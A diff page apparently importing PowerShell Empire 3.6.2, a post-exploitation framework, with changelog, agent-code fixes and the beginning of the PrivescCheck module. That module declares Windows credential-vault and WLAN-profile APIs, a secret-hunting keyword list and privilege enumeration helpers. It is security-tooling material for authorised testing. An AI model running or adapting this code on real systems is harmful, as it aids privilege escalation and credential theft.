Codebase list powershell-empire / 3c91c2b4-ef52-4e2e-8a84-027ce20d3bb5/upstream
Import upstream version 3.6.2 Kali Janitor 3 years ago
50 changed file(s) with 9417 addition(s) and 64 deletion(s). Raw diff Collapse all Expand all
0 name: Wiki Sync
1
2 on:
3 push:
4 branches:
5 - master
6
7 jobs:
8 update-wiki:
9 runs-on: ubuntu-latest
10 steps:
11 - uses: actions/checkout@master
12 - name: Sync Wiki
13 uses: joeizzard/action-wiki-sync@master
14 with:
15 username: Cx01N
16 access_token: ${{ secrets.GITHUB_TOKEN }}
17 wiki_folder: wiki
18 commit_username: 'Cx01N'
9696 plugin follows the [template example](./plugins/example.py). A list of Empire Plugins is located [here](plugins/PLUGINS.md).
9797
9898 ## Contribution Rules
99
10099 Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions.
101100
102101 * As of Empire 3.1.0, Empire only officially supports Python 3. If you still need Python 2 support, please use the [3.0.x branch](https://github.com/BC-SECURITY/Empire/tree/3.0.x) or releases.
108107 * PowerShell Version 2 compatibility is **STRONGLY** preferred.
109108 * TEST YOUR MODULE! Be sure to run it from an Empire agent and test Python 3.x functionality before submitting a pull to ensure everything is working correctly.
110109 * For additional guidelines for your PowerShell code itself, check out the [PowerSploit style guide](https://github.com/PowerShellMafia/PowerSploit/blob/master/README.md).
110
111 ## Official Discord Channel
112 <p align="center">
113 <a href="https://discord.gg/P8PZPyf">
114 <img src="https://discordapp.com/api/guilds/716165691383873536/widget.png?style=banner3"/>
115 </p>
0 3.6.0
0 3.6.2
0 11/27/2020
1 ------------
2 - Version 3.6.2 Master Release
3 - Added python support for HTTP malleable listener - #404 (@adamczi)
4 - Added new admin menu API endpoints - #403 (@Vinnybod, @Cx01N)
5 - Added chat server for Starkiller and new Empire CLI integration - #403 (@Vinnybod, @Cx01N)
6 - Added module PrivescCheck - #401 (@Invoke-Mimikatz)
7 - Fixed error in malleable profiles when http-stager is not defined - #407 (@Cx01N)
8
9 11/16/2020
10 ------------
11 - Version 3.6.1 Master Release
12 - Added editable wiki and sync option to repo - #398 (@Cx01N)
13 - Fixed byte error in python/collection/osx/prompt - #396 (@Cx01N)
14 - Fixed clear option issue for malleable listener - #393 (@Cx01N)
15 - Added update_comms, killdate, and workinghours endpoints - #399 (@Cx01N)
16
017 11/9/2020
118 ------------
219 - Version 3.6.0 Master Release
106106 """
107107 # returns {sessionID : (language, meta, additional, [encData]), ...}
108108 packets = parse_routing_packet(stagingKey, data)
109 if packets is None:
110 return
109111 for agentID, packet in packets.items():
110112 if agentID == sessionID:
111113 (language, meta, additional, encData) = packet
114114 return results
115115
116116 else:
117 print("[*] parse_agent_data() data length incorrect: %s" % (len(data)))
117 # print("[*] parse_agent_data() data length incorrect: %s" % (len(data)))
118118 return None
119119
120120 else:
121 print("[*] parse_agent_data() data is None")
121 # print("[*] parse_agent_data() data is None")
122122 return None
123123
124124
1212
1313 import random
1414 import string
15 import urllib.request as urllib
15 import urllib.request
1616
1717 {% include 'common/rc4.py' %}
1818 {% include 'common/aes.py' %}
2121
2222 def post_message(uri, data):
2323 global headers
24 return (urllib.urlopen(urllib.Request(uri, data, headers))).read()
24 return (urllib.request.urlopen(urllib.request.Request(uri, data, headers))).read()
2525
2626 # generate a randomized sessionID
2727 sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
0 #Requires -Version 2
1
2 # ----------------------------------------------------------------
3 # BEGIN Global variables
4 # ----------------------------------------------------------------
5 $global:ScriptPath = $MyInvocation.MyCommand.Definition
6 $global:CachedServiceList = New-Object -TypeName System.Collections.ArrayList
7 $global:CachedHotFixList = New-Object -TypeName System.Collections.ArrayList
8 $global:CachedScheduledTaskList = New-Object -TypeName System.Collections.ArrayList
9 $global:ResultArrayList = New-Object -TypeName System.Collections.ArrayList
10 [string[]] $global:KeywordsOfInterest = "key", "passw", "secret", "pwd", "creds", "credential", "api"
11 # ----------------------------------------------------------------
12 # END Global variables
13 # ----------------------------------------------------------------
14
15 # ----------------------------------------------------------------
16 # Win32 stuff
17 # ----------------------------------------------------------------
18 #region Win32
19 $CSharpSource = @'
20 private const Int32 ANYSIZE_ARRAY = 1;
21
22 [System.FlagsAttribute]
23 public enum ServiceAccessFlags : uint
24 {
25 QueryConfig = 1,
26 ChangeConfig = 2,
27 QueryStatus = 4,
28 EnumerateDependents = 8,
29 Start = 16,
30 Stop = 32,
31 PauseContinue = 64,
32 Interrogate = 128,
33 UserDefinedControl = 256,
34 Delete = 65536,
35 ReadControl = 131072,
36 WriteDac = 262144,
37 WriteOwner = 524288,
38 Synchronize = 1048576,
39 AccessSystemSecurity = 16777216,
40 GenericAll = 268435456,
41 GenericExecute = 536870912,
42 GenericWrite = 1073741824,
43 GenericRead = 2147483648
44 }
45
46 [StructLayout(LayoutKind.Sequential)]
47 public struct LUID {
48 public UInt32 LowPart;
49 public Int32 HighPart;
50 }
51
52 [StructLayout(LayoutKind.Sequential)]
53 public struct SID_AND_ATTRIBUTES {
54 public IntPtr Sid;
55 public int Attributes;
56 }
57
58 [StructLayout(LayoutKind.Sequential, Pack = 4)]
59 public struct LUID_AND_ATTRIBUTES {
60 public LUID Luid;
61 public UInt32 Attributes;
62 }
63
64 public struct TOKEN_USER {
65 public SID_AND_ATTRIBUTES User;
66 }
67
68 public struct TOKEN_PRIVILEGES {
69 public int PrivilegeCount;
70 [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
71 public LUID_AND_ATTRIBUTES [] Privileges;
72 }
73
74 [StructLayout(LayoutKind.Sequential)]
75 public struct MIB_TCPROW_OWNER_PID
76 {
77 public uint state;
78 public uint localAddr;
79 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
80 public byte[] localPort;
81 public uint remoteAddr;
82 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
83 public byte[] remotePort;
84 public uint owningPid;
85 }
86
87 [StructLayout(LayoutKind.Sequential)]
88 public struct MIB_UDPROW_OWNER_PID
89 {
90 public uint localAddr;
91 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
92 public byte[] localPort;
93 public uint owningPid;
94 }
95
96 [StructLayout(LayoutKind.Sequential)]
97 public struct MIB_TCP6ROW_OWNER_PID
98 {
99 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
100 public byte[] localAddr;
101 public uint localScopeId;
102 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
103 public byte[] localPort;
104 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
105 public byte[] remoteAddr;
106 public uint remoteScopeId;
107 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
108 public byte[] remotePort;
109 public uint state;
110 public uint owningPid;
111 }
112
113 [StructLayout(LayoutKind.Sequential)]
114 public struct MIB_UDP6ROW_OWNER_PID
115 {
116 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
117 public byte[] localAddr;
118 public uint localScopeId;
119 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
120 public byte[] localPort;
121 public uint owningPid;
122 }
123
124 [StructLayout(LayoutKind.Sequential)]
125 public struct MIB_TCPTABLE_OWNER_PID
126 {
127 public uint dwNumEntries;
128 [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
129 public MIB_TCPROW_OWNER_PID[] table;
130 }
131
132 [StructLayout(LayoutKind.Sequential)]
133 public struct MIB_UDPTABLE_OWNER_PID
134 {
135 public uint dwNumEntries;
136 [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
137 public MIB_UDPROW_OWNER_PID[] table;
138 }
139
140 [StructLayout(LayoutKind.Sequential)]
141 public struct MIB_TCP6TABLE_OWNER_PID
142 {
143 public uint dwNumEntries;
144 [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
145 public MIB_TCP6ROW_OWNER_PID[] table;
146 }
147
148 [StructLayout(LayoutKind.Sequential)]
149 public struct MIB_UDP6TABLE_OWNER_PID
150 {
151 public uint dwNumEntries;
152 [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
153 public MIB_UDP6ROW_OWNER_PID[] table;
154
155 }
156
157 [StructLayout(LayoutKind.Sequential)]
158 public struct FILETIME
159 {
160 public uint dwLowDateTime;
161 public uint dwHighDateTime;
162 }
163
164 [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
165 public struct CREDENTIAL
166 {
167 public uint Flags;
168 public uint Type;
169 public string TargetName;
170 public string Comment;
171 public FILETIME LastWritten;
172 public uint CredentialBlobSize;
173 public IntPtr CredentialBlob;
174 public uint Persist;
175 public uint AttributeCount;
176 public IntPtr Attributes;
177 public string TargetAlias;
178 public string UserName;
179 }
180
181 [StructLayout(LayoutKind.Sequential)]
182 public struct UNICODE_STRING
183 {
184 public ushort Length;
185 public ushort MaximumLength;
186 public IntPtr Buffer;
187 }
188
189 [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
190 public struct VAULT_ITEM_7
191 {
192 public Guid SchemaId;
193 public string FriendlyName;
194 public IntPtr Resource;
195 public IntPtr Identity;
196 public IntPtr Authenticator;
197 public UInt64 LastWritten;
198 public UInt32 Flags;
199 public UInt32 PropertiesCount;
200 public IntPtr Properties;
201 }
202
203 [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
204 public struct VAULT_ITEM_8
205 {
206 public Guid SchemaId;
207 public string FriendlyName;
208 public IntPtr Resource;
209 public IntPtr Identity;
210 public IntPtr Authenticator;
211 public IntPtr PackageSid;
212 public UInt64 LastWritten;
213 public UInt32 Flags;
214 public UInt32 PropertiesCount;
215 public IntPtr Properties;
216 }
217
218 [StructLayout(LayoutKind.Sequential)]
219 public struct VAULT_ITEM_DATA_HEADER
220 {
221 public UInt32 SchemaElementId;
222 public UInt32 Unknown1;
223 public UInt32 Type;
224 public UInt32 Unknown2;
225 }
226
227 [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
228 public struct WLAN_INTERFACE_INFO
229 {
230 public Guid InterfaceGuid;
231 [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
232 public string strInterfaceDescription;
233 public uint isState; // WLAN_INTERFACE_STATE
234 }
235
236 [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
237 public struct WLAN_PROFILE_INFO
238 {
239 [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
240 public string strProfileName;
241 public uint dwFlags;
242 }
243
244 [DllImport("advapi32.dll", SetLastError=true)]
245 [return: MarshalAs(UnmanagedType.Bool)]
246 public static extern bool QueryServiceObjectSecurity(IntPtr serviceHandle, System.Security.AccessControl.SecurityInfos secInfo, byte[] lpSecDesrBuf, uint bufSize, out uint bufSizeNeeded);
247
248 [DllImport("advapi32.dll", SetLastError=true)]
249 [return: MarshalAs(UnmanagedType.Bool)]
250 public static extern bool CloseServiceHandle(IntPtr hSCObject);
251
252 [DllImport("advapi32.dll", SetLastError=true)]
253 [return: MarshalAs(UnmanagedType.Bool)]
254 public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);
255
256 [DllImport("advapi32.dll", SetLastError=true)]
257 [return: MarshalAs(UnmanagedType.Bool)]
258 public static extern bool GetTokenInformation(IntPtr TokenHandle, UInt32 TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength);
259
260 [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
261 [return: MarshalAs(UnmanagedType.Bool)]
262 public static extern bool LookupAccountSid(string lpSystemName, IntPtr Sid, System.Text.StringBuilder lpName, ref uint cchName, System.Text.StringBuilder ReferencedDomainName, ref uint cchReferencedDomainName, out int peUse);
263
264 [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
265 [return: MarshalAs(UnmanagedType.Bool)]
266 public static extern bool LookupPrivilegeName(string lpSystemName, IntPtr lpLuid, System.Text.StringBuilder lpName, ref int cchName );
267
268 [DllImport("advapi32.dll", CharSet=CharSet.Unicode, SetLastError=true)]
269 [return: MarshalAs(UnmanagedType.Bool)]
270 public static extern bool CredEnumerate(IntPtr Filter, UInt32 Flags, out UInt32 Count, out IntPtr Credentials);
271
272 [DllImport("advapi32.dll")]
273 public static extern void CredFree(IntPtr Buffer);
274
275 [DllImport("advapi32.dll", SetLastError=false)]
276 [return: MarshalAs(UnmanagedType.Bool)]
277 public static extern bool IsTextUnicode(IntPtr buf, UInt32 len, ref UInt32 opt);
278
279 [DllImport("kernel32.dll", SetLastError=true)]
280 public static extern IntPtr GetCurrentProcess();
281
282 [DllImport("kernel32.dll", SetLastError=true)]
283 public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
284
285 [DllImport("kernel32.dll", SetLastError=true)]
286 [return: MarshalAs(UnmanagedType.Bool)]
287 public static extern bool CloseHandle(IntPtr hObject);
288
289 [DllImport("kernel32.dll")]
290 public static extern UInt64 GetTickCount64();
291
292 [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
293 public static extern uint GetFirmwareEnvironmentVariable(string lpName, string lpGuid, IntPtr pBuffer, uint nSize);
294
295 [DllImport("kernel32.dll", SetLastError=true)]
296 public static extern bool GetFirmwareType(ref uint FirmwareType);
297
298 [DllImport("iphlpapi.dll", SetLastError=true)]
299 public static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int pdwSize, bool bOrder, int ulAf, uint TableClass, uint Reserved);
300
301 [DllImport("iphlpapi.dll", SetLastError=true)]
302 public static extern uint GetExtendedUdpTable(IntPtr pUdpTable, ref int pdwSize, bool bOrder, int ulAf, uint TableClass, uint Reserved);
303
304 [DllImport("vaultcli.dll", SetLastError=false)]
305 public static extern uint VaultEnumerateVaults(uint dwFlags, out int VaultsCount, out IntPtr ppVaultGuids);
306
307 [DllImport("vaultcli.dll", SetLastError=false)]
308 public static extern uint VaultOpenVault(IntPtr pVaultId, uint dwFlags, out IntPtr pVaultHandle);
309
310 [DllImport("vaultcli.dll", SetLastError=false)]
311 public static extern uint VaultEnumerateItems(IntPtr pVaultHandle, uint dwFlags, out int ItemsCount, out IntPtr ppItems);
312
313 [DllImport("vaultcli.dll", SetLastError=false, EntryPoint="VaultGetItem")]
314 public static extern uint VaultGetItem7(IntPtr pVaultHandle, ref Guid guidSchemaId, IntPtr pResource, IntPtr pIdentity, IntPtr pUnknown, uint iUnknown, out IntPtr pItem);
315
316 [DllImport("vaultcli.dll", SetLastError=false, EntryPoint="VaultGetItem")]
317 public static extern uint VaultGetItem8(IntPtr pVaultHandle, ref Guid guidSchemaId, IntPtr pResource, IntPtr pIdentity, IntPtr pPackageSid, IntPtr pUnknown, uint iUnknown, out IntPtr pItem);
318
319 [DllImport("vaultcli.dll", SetLastError=false)]
320 public static extern uint VaultFree(IntPtr pVaultItem);
321
322 [DllImport("vaultcli.dll", SetLastError=false)]
323 public static extern uint VaultCloseVault(ref IntPtr pVaultHandle);
324
325 [DllImport("Wlanapi.dll")]
326 public static extern uint WlanOpenHandle(uint dwClientVersion, IntPtr pReserved, out uint pdwNegotiatedVersion, out IntPtr hClientHandle);
327
328 [DllImport("Wlanapi.dll")]
329 public static extern uint WlanCloseHandle(IntPtr hClientHandle, IntPtr pReserved);
330
331 [DllImport("Wlanapi.dll")]
332 public static extern uint WlanEnumInterfaces(IntPtr hClientHandle, IntPtr pReserved, ref IntPtr ppInterfaceList);
333
334 [DllImport("Wlanapi.dll")]
335 public static extern void WlanFreeMemory(IntPtr pMemory);
336
337 [DllImport("Wlanapi.dll")]
338 public static extern uint WlanGetProfileList(IntPtr hClientHandle, [MarshalAs(UnmanagedType.LPStruct)]Guid interfaceGuid, IntPtr pReserved, out IntPtr ppProfileList);
339
340 [DllImport("Wlanapi.dll")]
341 public static extern uint WlanGetProfile(IntPtr clientHandle, [MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid, [MarshalAs(UnmanagedType.LPWStr)] string profileName, IntPtr pReserved, [MarshalAs(UnmanagedType.LPWStr)] out string profileXml, ref uint flags, out uint pdwGrantedAccess);
342 '@
343
344 try {
345 # Is the Type already defined?
346 [PrivescCheck.Win32] | Out-Null
347 } catch {
348 # If not, create it by compiling the C# code in memory
349 $CompilerParameters = New-Object -TypeName System.CodeDom.Compiler.CompilerParameters
350 $CompilerParameters.GenerateInMemory = $True
351 $CompilerParameters.GenerateExecutable = $False
352 #$Compiler = New-Object -TypeName Microsoft.CSharp.CSharpCodeProvider
353 #$Compiler.CompileAssemblyFromSource($CompilerParameters, $CSharpSource)
354 Add-Type -MemberDefinition $CSharpSource -Name 'Win32' -Namespace 'PrivescCheck' -Language CSharp -CompilerParameters $CompilerParameters
355 }
356 #endregion Win32
357
358 # ----------------------------------------------------------------
359 # Helpers
360 # ----------------------------------------------------------------
361 #region Helpers
362
363 function Convert-SidToName {
364 <#
365 .SYNOPSIS
366
367 Helper - Converts a SID string to its corresponding username
368
369 Author: @itm4n
370 License: BSD 3-Clause
371
372 .DESCRIPTION
373
374 This helper function takes a user SID as an input parameter and returns the account name
375 associated to this SID. If an account name cannot be found, nothing is returned.
376
377 .PARAMETER Sid
378
379 A user account SID, e.g.: S-1-5-18.
380
381 .EXAMPLE
382 An example
383 PS C:\> Convert-SidToName -Sid S-1-5-18"
384
385 NT AUTHORITY\SYSTEM
386
387 #>
388
389 [CmdletBinding()] param(
390 [string]$Sid
391 )
392
393 try {
394 $SidObj = New-Object System.Security.Principal.SecurityIdentifier($Sid)
395 $SidObj.Translate([System.Security.Principal.NTAccount]) | Select-Object -ExpandProperty Value
396 } catch {
397 # Do nothing
398 }
399 }
400
401 function Convert-DateToString {
402 <#
403 .SYNOPSIS
404
405 Helper - Converts a DateTime object to a string representation
406
407 Author: @itm4n
408 License: BSD 3-Clause
409
410 .DESCRIPTION
411
412 The output string is a simplified version of the ISO format: YYYY-MM-DD hh:mm:ss.
413
414 .PARAMETER Date
415
416 A System.DateTime object
417
418 .EXAMPLE
419
420 PS C:\> $Date = Get-Date; Convert-DateToString -Date $Date
421
422 2020-01-16 - 10:26:11
423
424 #>
425
426 [CmdletBinding()] param(
427 [System.DateTime]
428 $Date
429 )
430
431 $OutString = ""
432 $OutString += $Date.ToString('yyyy-MM-dd - HH:mm:ss')
433 #$OutString += " ($($Date.ToString('o')))" # ISO format
434 $OutString
435 }
436
437 function Convert-ServiceTypeToString {
438 <#
439 .SYNOPSIS
440
441 Helper - Converts a service type (integer) to its actual name
442
443 Author: @itm4n
444 License: BSD 3-Clause
445
446 .DESCRIPTION
447
448 Services have a type which is saved as an integer in the registry. This function will retrieve
449 the "name" of the type based on this integer value.
450
451 .PARAMETER ServiceType
452
453 A service type as an integer
454
455 .EXAMPLE
456
457 PS C:\> Convert-ServiceTypeToString -ServiceType 16
458
459 Win32OwnProcess
460
461 #>
462
463 [CmdletBinding()] param(
464 [int]
465 $ServiceType
466 )
467
468 $ServiceTypeEnum = @{
469 "KernelDriver" = "1";
470 "FileSystemDriver" = "2";
471 "Adapter" = "4";
472 "RecognizerDriver" = "8";
473 "Win32OwnProcess" = "16";
474 "Win32ShareProcess" = "32";
475 "InteractiveProcess" = "256";
476 }
477
478 $ServiceTypeEnum.GetEnumerator() | ForEach-Object {
479 if ( $_.value -band $ServiceType )
480 {
481 $_.name
482 }
483 }
484 }
485
486 function Convert-ServiceStartModeToString {
487 <#
488 .SYNOPSIS
489
490 Helper - Convert a Start mode (integer) to its actual name
491
492 Author: @itm4n
493 License: BSD 3-Clause
494
495 .DESCRIPTION
496
497 Services have a Start mode (e.g.: Automatic), which is saved as an integer in the registry.
498 This function will retrieve the "name" of the Start mode based on this integer value.
499
500 .PARAMETER StartMode
501
502 A Start mode as an integer
503
504 .EXAMPLE
505
506 PS C:\> Convert-ServiceStartModeToString -StartMode 2
507
508 Automatic
509
510 #>
511
512 [CmdletBinding()] param(
513 [int]
514 $StartMode
515 )
516
517 $StartModeEnum = @{
518 "Boot" = "0";
519 "System" = "1";
520 "Automatic" = "2";
521 "Manual" = "3";
522 "Disabled" = "4";
523 }
524
525 $StartModeEnum.GetEnumerator() | ForEach-Object {
526 if ( $_.Value -eq $StartMode )
527 {
528 $_.Name
529 }
530 }
531 }
532
533 function Test-IsKnownService {
534
535 [CmdletBinding()] param(
536 [object]$Service
537 )
538
539 if ($Service) {
540
541 $ImagePath = $Service.ImagePath
542
543 $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ")
544
545 ForEach($SeparationCharacterSet in $SeparationCharacterSets) {
546
547 $CandidatePaths = $ImagePath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')}
548
549 ForEach($CandidatePath in $CandidatePaths) {
550
551 $TempPath = $([System.Environment]::ExpandEnvironmentVariables($CandidatePath))
552 $TempPathResolved = Resolve-Path -Path $TempPath -ErrorAction SilentlyContinue -ErrorVariable ErrorResolvePath
553 if (-not $ErrorResolvePath) {
554
555 $File = Get-Item -Path $TempPathResolved -ErrorAction SilentlyContinue -ErrorVariable ErrorGetItem
556 if (-not $ErrorGetItem) {
557
558 if ($File.VersionInfo.LegalCopyright -Like "*Microsoft Corporation*") {
559 return $True
560 } else {
561 return $False
562 }
563 }
564 }
565 }
566 }
567 }
568
569 return $False
570 }
571
572 function Get-UserPrivileges {
573 <#
574 .SYNOPSIS
575
576 Helper - Enumerates the privileges of the current user
577
578 Author: @itm4n
579 License: BSD 3-Clause
580
581 .DESCRIPTION
582
583 Enumerates the privileges of the current user using the Windows API. First, it gets a handle
584 to the current access token using OpenProcessToken. Then it calls GetTokenInformation to list
585 all the privileges that it contains along with their state (enabled/disabled). For each result
586 a custom object is returned, indicating the name of the privilege and its state.
587
588 .EXAMPLE
589
590 PS C:\> Get-UserPrivileges
591
592 Name State Description
593 ---- ------ -----------
594 SeShutdownPrivilege Disabled Shut down the system
595 SeChangeNotifyPrivilege Enabled Bypass traverse checking
596 SeUndockPrivilege Disabled Remove computer from docking station
597 SeIncreaseWorkingSetPrivilege Disabled Increase a process working set
598 SeTimeZonePrivilege Disabled Change the time zone
599
600 .LINK
601
602 https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
603 #>
604
605 [CmdletBinding()] param()
606
607 function Get-PrivilegeDescription {
608 [CmdletBinding()] param(
609 [string]
610 $Name
611 )
612
613 $PrivilegeDescriptions = @{
614 "SeAssignPrimaryTokenPrivilege" = "Replace a process-level token";
615 "SeAuditPrivilege" = "Generate security audits";
616 "SeBackupPrivilege" = "Back up files and directories";
617 "SeChangeNotifyPrivilege" = "Bypass traverse checking";
618 "SeCreateGlobalPrivilege" = "Create global objects";
619 "SeCreatePagefilePrivilege" = "Create a pagefile";
620 "SeCreatePermanentPrivilege" = "Create permanent shared objects";
621 "SeCreateSymbolicLinkPrivilege" = "Create symbolic links";
622 "SeCreateTokenPrivilege" = "Create a token object";
623 "SeDebugPrivilege" = "Debug programs";
624 "SeDelegateSessionUserImpersonatePrivilege" = "Impersonate other users";
625 "SeEnableDelegationPrivilege" = "Enable computer and user accounts to be trusted for delegation";
626 "SeImpersonatePrivilege" = "Impersonate a client after authentication";
627 "SeIncreaseBasePriorityPrivilege" = "Increase scheduling priority";
628 "SeIncreaseQuotaPrivilege" = "Adjust memory quotas for a process";
629 "SeIncreaseWorkingSetPrivilege" = "Increase a process working set";
630 "SeLoadDriverPrivilege" = "Load and unload device drivers";
631 "SeLockMemoryPrivilege" = "Lock pages in memory";
632 "SeMachineAccountPrivilege" = "Add workstations to domain";
633 "SeManageVolumePrivilege" = "Manage the files on a volume";
634 "SeProfileSingleProcessPrivilege" = "Profile single process";
635 "SeRelabelPrivilege" = "Modify an object label";
636 "SeRemoteShutdownPrivilege" = "Force shutdown from a remote system";
637 "SeRestorePrivilege" = "Restore files and directories";
638 "SeSecurityPrivilege" = "Manage auditing and security log";
639 "SeShutdownPrivilege" = "Shut down the system";
640 "SeSyncAgentPrivilege" = "Synchronize directory service data";
641 "SeSystemEnvironmentPrivilege" = "Modify firmware environment values";
642 "SeSystemProfilePrivilege" = "Profile system performance";
643 "SeSystemtimePrivilege" = "Change the system time";
644 "SeTakeOwnershipPrivilege" = "Take ownership of files or other objects";
645 "SeTcbPrivilege" = "Act as part of the operating system";
646 "SeTimeZonePrivilege" = "Change the time zone";
647 "SeTrustedCredManAccessPrivilege" = "Access Credential Manager as a trusted caller";
648 "SeUndockPrivilege" = "Remove computer from docking station";
649 "SeUnsolicitedInputPrivilege" = "N/A";
650 }
651
652 $PrivilegeDescriptions[$Name]
653
654 }
655
656 # Get a handle to a process the current user owns
657 $ProcessHandle = [PrivescCheck.Win32]::GetCurrentProcess()
658 Write-Verbose "Current process handle: $ProcessHandle"
659
660 # Get a handle to the token corresponding to this process
661 $TOKEN_QUERY= 0x0008
662 [IntPtr]$TokenHandle = [IntPtr]::Zero
663 $Success = [PrivescCheck.Win32]::OpenProcessToken($ProcessHandle, $TOKEN_QUERY, [ref]$TokenHandle);
664 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
665
666 if ($Success) {
667
668 Write-Verbose "OpenProcessToken() OK - Token handle: $TokenHandle"
669
670 # TOKEN_INFORMATION_CLASS - 3 = TokenPrivileges
671 $TokenPrivilegesPtrSize = 0
672 $Success = [PrivescCheck.Win32]::GetTokenInformation($TokenHandle, 3, 0, $Null, [ref]$TokenPrivilegesPtrSize)
673 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
674
675 if (-not ($TokenPrivilegesPtrSize -eq 0)) {
676
677 Write-Verbose "GetTokenInformation() OK - TokenPrivilegesPtrSize = $TokenPrivilegesPtrSize"
678
679 [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesPtrSize)
680
681 $Success = [PrivescCheck.Win32]::GetTokenInformation($TokenHandle, 3, $TokenPrivilegesPtr, $TokenPrivilegesPtrSize, [ref]$TokenPrivilegesPtrSize)
682 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
683
684 if ($Success) {
685
686 # Convert the unmanaged memory at offset $TokenPrivilegesPtr to a TOKEN_PRIVILEGES managed type
687 $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [type] [PrivescCheck.Win32+TOKEN_PRIVILEGES])
688 $Offset = [IntPtr] ($TokenPrivilegesPtr.ToInt64() + 4)
689
690 Write-Verbose "GetTokenInformation() OK - Privilege count: $($TokenPrivileges.PrivilegeCount)"
691
692 For ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) {
693
694 # Cast the unmanaged memory at offset
695 $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Offset, [type] [PrivescCheck.Win32+LUID_AND_ATTRIBUTES])
696
697 # Copy LUID to unmanaged memory
698 $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf($LuidAndAttributes.Luid)
699 [IntPtr]$LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize)
700 [System.Runtime.InteropServices.Marshal]::StructureToPtr($LuidAndAttributes.Luid, $LuidPtr, $True)
701
702 [int]$Length = 0
703 $Success = [PrivescCheck.Win32]::LookupPrivilegeName($Null, $LuidPtr, $Null, [ref]$Length)
704 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
705
706 if (-not ($Length -eq 0)) {
707
708 Write-Verbose "LookupPrivilegeName() OK - Length = $Length"
709
710 $Name = New-Object -TypeName System.Text.StringBuilder
711 $Name.EnsureCapacity($Length + 1) |Out-Null
712 $Success = [PrivescCheck.Win32]::LookupPrivilegeName($Null, $LuidPtr, $Name, [ref]$Length)
713 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
714
715 if ($Success) {
716
717 $PrivilegeName = $Name.ToString()
718
719 # SE_PRIVILEGE_ENABLED = 0x00000002
720 $PrivilegeEnabled = ($LuidAndAttributes.Attributes -band 2) -eq 2
721
722 Write-Verbose "LookupPrivilegeName() OK - Name: $PrivilegeName - Enabled: $PrivilegeEnabled"
723
724 $PrivilegeObject = New-Object -TypeName PSObject
725 $PrivilegeObject | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $PrivilegeName
726 $PrivilegeObject | Add-Member -MemberType "NoteProperty" -Name "State" -Value $(if ($PrivilegeEnabled) { "Enabled" } else { "Disabled" })
727 $PrivilegeObject | Add-Member -MemberType "NoteProperty" -Name "Description" -Value $(Get-PrivilegeDescription -Name $PrivilegeName)
728 $PrivilegeObject
729
730 } else {
731 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
732 }
733
734 } else {
735 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
736 }
737
738 # Cleanup - Free unmanaged memory
739 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr)
740
741 # Update the offset to point to the next LUID_AND_ATTRIBUTES structure in the unmanaged buffer
742 $Offset = [IntPtr] ($Offset.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf($LuidAndAttributes))
743 }
744
745 } else {
746 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
747 }
748
749 # Cleanup - Free unmanaged memory
750 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr)
751
752 } else {
753 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
754 }
755
756 # Cleanup - Close Token handle
757 $Success = [PrivescCheck.Win32]::CloseHandle($TokenHandle)
